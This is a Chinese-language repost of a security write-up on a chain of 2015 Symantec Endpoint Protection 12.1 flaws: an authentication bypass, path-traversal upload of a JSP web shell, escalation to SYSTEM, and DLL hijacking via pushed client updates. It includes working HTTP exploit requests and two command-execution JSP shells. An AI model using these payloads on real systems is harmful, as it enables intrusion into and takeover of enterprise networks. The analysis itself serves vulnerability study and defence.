CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

symantec endpoint protection

2017年5月23日 731点热度 0人点赞 0条评论

symantec endpoint protection

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

利用赛门铁克Symantec Endpoint Protection漏洞渗透企业网络

nickchang2015-08-06共174922人围观 ,发现 12 个不明物体漏洞系统安全

文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用。

1.引言

Markus Wulftange在7月30日报告了赛门铁克端点保护Symantec Endpoint Protection (SEP)  12.1的数个高危漏洞。只有升级到12.1 RU6 MP1的版本不被影响。

简单介绍一下,SEP 是一个企业版的杀毒产品,分为管理端和客户端。管理端是提供web UI,允许管理员管理和察看客户端的状态和客户端的病毒感染事件等等。而客户端基本上就是一个普通的赛门铁克杀毒软件,但是接受管理端的管理并且定时上报自己的状态。值得一提的是,管理员还可以在管理端部署安装升级包,以便客户端通过管理端来进行升级。

这种架构的问题是,一旦攻击者拿下了管理端,得到了管理员的权限,那么他就可以重新部署安装升级包,把木马藏进安装包,推送至客户端执行,从而拿下整个企业网络。

本文重点介绍这几个漏洞和利用方法:攻击者最终可以在管理端和所有客户端得到 'NT Authority\SYSTEM' 的权限。

2.攻击SEP管理端

攻击以SEP管理端的登陆页面为突破口,因为登陆页面是暴露在最外层的接口。

2.1 CVE-2015-1486: 绕过SEP管理端登陆认证

当用户认证以后,setAdminCredential()把用户信息存在与当前session相关的AdminCredential对象中。而阅读源代码后发现,setAdminCredential()在两个地方被调用,一个在LoginHandler类里面,一个在ResetPasswordHandler类里面。奇怪的是,setAdminCredential()为什么会在ResetPasswordHandler类里面被调用呢?看起来很可疑,这个值得我们研究一下。从名称上看,ResetPasswordHandler类用来处理口令重置,其中handleRequest()方法的代码如下

/*     */   public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)
/*     */   {
/*  72 */     this.requestData = requestData;
/*  73 */     String userName = (String)requestData.get("UserID");
/*  74 */     String domainName = (String)requestData.get("Domain");
/*     */
/*  76 */     NodeList list = doc.getElementsByTagName("Response");
/*  77 */     Element root = (Element)list.item(0);
/*     */     try
/*     */     {
/*  80 */       if (!isValidRequestWithinGivenInterval(requestData.getRemoteIP())) {
/*  81 */         throw new ServerException(-2130182144, 186);
/*     */       }
/*     */
/*  84 */       checkIfSiteCanRecoverPasswords();
/*  85 */       init();
/*     */
/*  87 */       if ((this.sRecipient == null) || (this.sRecipient.length() == 0) || (" ".equals(this.sRecipient))) {
/*  88 */         ServerLogger.log(Level.INFO, "Problem with Mail server Configuration");
/*  89 */         throw new ServerException(-2130182144, 179);
/*     */       }
/*     */
/*  92 */       AdminCredential credential = getCredential(requestData, session);
/*     */
/*  94 */       if ((credential != null) && (credential.getAdminID() != null)) {
/*  95 */         Integer mode = credential.getOptAuthenticationMethod();
/*  96 */         if ((mode != null) && (SemAdministrator.DEFAULT.intValue() != mode.intValue())) {
/*  97 */           ServerLogger.log(Level.INFO, "Particular admin named " + credential.getAdminName() + " is not at Symantec authentication mode. Failed to reset password.");
/*     */
/* 100 */           throw new ServerException(-2130182144, 191);
/*     */         }
/*     */
/*     */       }
/*     */
/* 106-137 skipped */
/*     */
/*     */     }
/*     */     catch (ServerException e) {
/* 142 */       root.setAttribute("ResponseCode", "" + (e.getErrorCode() | e.getMessageId()));
/*     */     }
/*     */   }

92行调用了getCredential()方法,用以取出AdminCredential对象。AdminCredential对象包含用户的信息,比如用户名,邮箱地址,口令hash值等等。以下是getCredential()的代码

/*     */   protected AdminCredential getCredential(RequestData requestData, ConsoleSession session) throws ServerException
/*     */   {
/* 367 */     session = session.getNewSession();
/* 368 */     AdminCredential credential = doGetAdminCredentialWithoutAuthentication();
/* 369 */     session.setAdminCredential(credential);
/* 370 */     return credential;
/*     */   }

367行创建了一个新的session,也就产生了一个新的JsessionID cookie。有意思的是第368行,用doGetAdminCredentialWithoutAuthentication()无需任何认证就根据用户输入的用户名和域名得到了一个AdminCredential对象。

最后,在369行,这个AdminCredential对象和新创建的session关联起来。使得该session成为了一个拥有SEP管理员权限的session.也就是说,发出一个口令重设请求,你就得到了一个拥有SEP管理员权限的session.

发一个POST请求验证一下

POST /servlet/ConsoleServlet HTTP/1.1
Host: 192.168.40.133:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
ActionType=ResetPassword&UserID=admin&Domain=

得到

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40; Path=/; Secure; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/xml;charset=UTF-8
Date: Tue, 30 Jun 2015 11:19:30 GMT
Server: SEPM
Content-Length: 971
 
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Response ResponseCode="-2130181964">
  <ReportingElement>&lt;?xml version="1.0" encoding="UTF-8" standalone="no"?&gt;&#13;
&lt;ReportingInfo AdminType="0" AllowCollectFileFingerprintList="1" AllowDeleteFromQuarantine="1" AllowDisableDownloadAdvisor="1" AllowDisableNetworkThreatProtect="1" AllowEnableAutoProtect="1" AllowEnableDownloadAdvisor="1" AllowEnableNetworkThreatProtect="1" AllowPowerEraserScan="1" AllowRestartComputers="1" AllowScan="1" AllowUpdateContent="1" AllowUpdateContentScan="1" AllowedDomains="" ChangePwd="0" ComplianceOnly="0" ComputerIPs="" ComputerNames="" DateFormat="M/d/yy" DisallowedCentralizedExceptions="0" FullAccessGroupList="" GroupWhiteList="" IsStoredProcedureValid="0" KICKOUTTIME="3600000" LastLoginTime="1435663154502" LegacyDomains="" LegacyGroups="" Role="1" Servers="" Session="625B492F4B9B6DA96B5E0C70A8A72F40"/&gt;&#13;
</ReportingElement>
</Response>

这个HTTP响应包含了一个JSESSIONID cookie,用于关联新创建的管理员session。注意,虽然有管理员权限,但是由于某些限制,这个session还是无法用于直接登陆管理端。然而测试发现攻击者可以用这个session使用其他web API,比如,创建一个新的管理员账号。从而攻击者可以用这个新创建的账号登陆管理端。而且这个session还可以继续用于下一个漏洞。

2.2 CVE-2015-1487: 任意文件写入

UploadPackage允许管理员把客户端的安装包上传到管理端,以便客户端升级维护。 然而这里有一个任意文件写入的漏洞,看源代码

/*     */   public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)
/*     */   {
/*  54 */     NodeList list = doc.getElementsByTagName("Response");
/*  55 */     Element root = (Element)list.item(0);
/*  56 */     String action = (String)requestData.get("Action");
/*  57 */     String id = (String)requestData.get("GUID");
/*  58 */     String fileType = (String)requestData.get("FILE_TYPE");
/*  59 */     String newId = (String)requestData.get("NEW_GUID");
/*     */
/*  60-187 skipped */
/*     */
/* 189 */       if (action.equalsIgnoreCase("UploadPackage")) {
/* 190 */         String fileName = (String)requestData.get("PackageFile");
/* 191 */         String dirName = (String)requestData.get("KnownHosts");
/*     */        
/* 193 */         this.packageTempPath = (ScmProperties.getServerHome() + ConstantValue.TEMP_PACKAGE_RELATIVE_PATH);
/*     */        
/*     */
/* 196 */         if ((dirName != null) && (dirName.length() > 0) && (!dirName.contains("/")) && (!dirName.contains("\\"))) {
/* 197 */           this.packageTempPath = (this.packageTempPath + File.separator + dirName);
/*     */         }
/* 199 */         String path = this.packageTempPath + File.separator + fileName;
/* 200 */         FileOutputStream fos = null;
/* 201 */         BufferedOutputStream bos = null;
/* 202 */         Object is = null;
/* 203 */         BufferedInputStream bis = null;
/*     */        
/* 205 */         File folder = new File(this.packageTempPath);
/* 206 */         if (!folder.exists()) {
/* 207 */           if (!folder.mkdirs()) {
/* 208 */             root.setAttribute("ResponseCode", String.valueOf(303169573));
/*     */           }
/*     */         }
/*     */         else {
/*     */           try
/*     */           {
/* 214 */             Utility.emptyDir(folder.getCanonicalPath(), false);
/*     */           } catch (IOException e) {
/* 216 */             ServerLogger.log(this, e);
/* 217 */             root.setAttribute("ResponseCode", String.valueOf(303169573));
/*     */            
/* 219 */             return;
/*     */           }
/*     */         }
/*     */        
/* 223 */         byte[] buf = new byte[1024];
/* 224 */         int read = 0;
/*     */         try
/*     */         {
/* 227 */           is = new BufferedInputStream(requestData.getInputStream());
/* 228 */           fos = new FileOutputStream(path);
/* 229 */           bos = new BufferedOutputStream(fos);
/* 230 */           bis = new BufferedInputStream((InputStream)is);
/* 231 */           while ((read = bis.read(buf)) > 0) {
/* 232 */             bos.write(buf, 0, read);
/*     */           }
/* 234 */           bos.flush();
/* 235 */           root.setAttribute("ResponseCode", String.valueOf(0));
/*     */         } catch (IOException ex) {
/* 237 */           ServerLogger.log(this, ex);
/* 238 */           root.setAttribute("ResponseCode", String.valueOf(303169573));
/*     */         }
/*     */         finally
/*     */         {
/* 242 */           IOUtilities.closeInputStream((InputStream)is);
/* 243 */           IOUtilities.closeInputStream(bis);
/* 244 */           IOUtilities.closeOutputStream(fos);
/* 245 */           IOUtilities.closeOutputStream(bos);
/*     */         }
/*     */        
/* 247-328 skipped */
/*     */        
/*     */       }
/*     */   }

注意189行到191行,上传文件时,文件名和文件目标路径分别取值于PackageFile和KnownHosts属性。

196行,这里有个检查,目标路径禁止包含'/' and ’\\’,可惜的是,检查过以后,199行又把文件名和目标路径组装在了一起。那么,如果我们把目标路径写在文件名里面,就可以绕过检查。

POST /servlet/ConsoleServlet?ActionType=BinaryFile&Action=UploadPackage&PackageFile=../../../tomcat/webapps/ROOT/exec.jsp&KnownHosts=. HTTP/1.1
Host: 192.168.40.133:8443
Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40
Content-Length: 124
 
<%=new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("\\A").next()%>

这样,我们就可以得到一个 'NT Service\semsrv'的权限的cmd.

2.3 CVE-2015-1489: SEP管理端主机提权

在SEP管理端, 有一个名为SemLaunchSvc.exe的服务。该服务有'NT Authority\SYSTEM'权限,用来处理一些需要高权限的操作,比如实时升级等。这个服务监听本地8447端口与管理端程序通信。而管理端用一个名为SemLaunchService的类来实现和SemLaunchSvc.exe通信。该类支持CommonCMD,可以打开一个cmd。

既然我们已经可以上传并执行任意java代码,那么我们可以进一步调用SemLaunchService中的CommonCMD, 从而得到管理端主机的 'NT Authority\SYSTEM' 权限。

<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%>
<%
try {
              out.print(SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", request.getParameter("cmd"))));
       } catch (Exception e) {
       }
%>

3. 攻击SEP客户端

3.1 CVE-2015-1492:SEP 客户端二进制植入

一旦有了管理端的权限,攻击者就可以在管理端添加一个修改过的客户端升级安装包,然后通过管理端把伪装的安装包推送到客户端上并执行。当然这里还要用到一个DLL劫持漏洞。这个漏洞劫持或者替换正常的DLL,欺骗正常程序加载攻击者预先准备好的恶意DLL。

安装升级SEP客户端的时候,SEP客户端ccSvcHst.exe首先会打开安装包,在里面找到一个名为smcinst.exe的程序,并且启动之,而smcinst.exe会调用一些系统DLL, 比如说UxTheme.dll。这里很可能smcinst.exe使用了相对路径来调入DLL, 并且没有检查DLL的签名。这样攻击者只要在安装包里加入一个伪造的UxTheme.dll就可以啦!由于LoadLibrary的特性,同在安装包下的这个伪造的UxTheme.dll会优先被调入。而一旦被调入,这个伪造的UxTheme.dll可以拥有NT Authority\SYSTEM权限。

那怎么把伪造的dll文件加到安装包里面,并推送到客户端呢?

1. 在SEP管理端导出安装包
2. 修改该安装包的版本为更高版本,比如12.2.0000,把准备好的恶意UxTheme.dll文件拷入安装包
3. 在SEP管理端导入安装包并修改升级选项。
4. 总结

管理端的保护是众中之重,一旦管理端被突破,客户端则难保,从而整个企业网络沦陷。

* 原文地址:codewhitesec,FreeBuf特约作者/ nickchang 投稿,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

nickchang

nickchang10 篇文章等级: 4级
|
|
  • 上一篇:Mac平台新型蠕虫病毒曝光
  • 下一篇:格式化字符串的漏洞利用(Part 1)
发表评论

已有 12 条评论

  • 中睿 2015-08-06回复1楼

    good job!

    亮了(1)
  • HelloKitty 2015-08-06回复2楼

    卧槽,这个是真屌。。。

    亮了(4)
  • langyajiekou (5级) 2015-08-06回复3楼

    必须攻陷服务器端。。来试试看。

    亮了(1)
  • 佳馆长 2015-08-06回复4楼

    升级到最新版就不被影响了

    亮了(0)
  • wdlth 2015-08-06回复5楼

    那云版本的怎么办?

    亮了(0)
  • 冰锋刺客 2015-08-07回复6楼

    杀毒软件企业版,都存在一些问题。

    亮了(0)
  • Fiend520 (7级) 2015-08-07回复7楼

    我擦

    亮了(0)
  • 知行者 2015-08-07回复8楼

    我揷

    亮了(1)
  • bt0sea (5级)微信公众号:gsgsoft 2015-08-07回复9楼

    哪来的源代码让你阅读呀?

    亮了(2)
  • 支付产业热点 2015-08-07回复10楼

    感谢分享

    亮了(1)
  • p9977pt (1级) 2015-08-09回复11楼

    还可以啊

    亮了(0)
  • CC的2015之杂七杂八 2015-09-18回复12楼

    哈哈

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

nickchang

nickchang

这家伙太懒,还未填写个人描述!

10 篇文章58 条评论

相关阅读

  • 赛门铁克46.5亿美元巨额收购Blue Coat,安全专家表示这不合理!
  • 利用赛门铁克Symantec Endpoint Protection漏洞渗透企业网络
  • 赛门铁克(Symantec)发布2016年2月威胁情报报告
  • 亚洲诚信与腾讯云达成战略合作 携手共建安全云生态
  • 高度可定制化的远程访问木马“Remvio”,仅售58美金

特别推荐

关注我们 分享每日精选文章

不容错过

  • 安全产品评测:阿里云盾安全威胁情报“态势感知”0xroot2015-09-25
  • OWASP杭州2013年春季WEB应用安全沙龙(5月25日)无心喃呢2013-05-08
  • 数据和石油哪个更重要?2016杭州·云栖大会首日素描欧阳洋葱2016-10-13
  • 温州数字电视是如何被黑的 ?p0tt12015-06-08

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me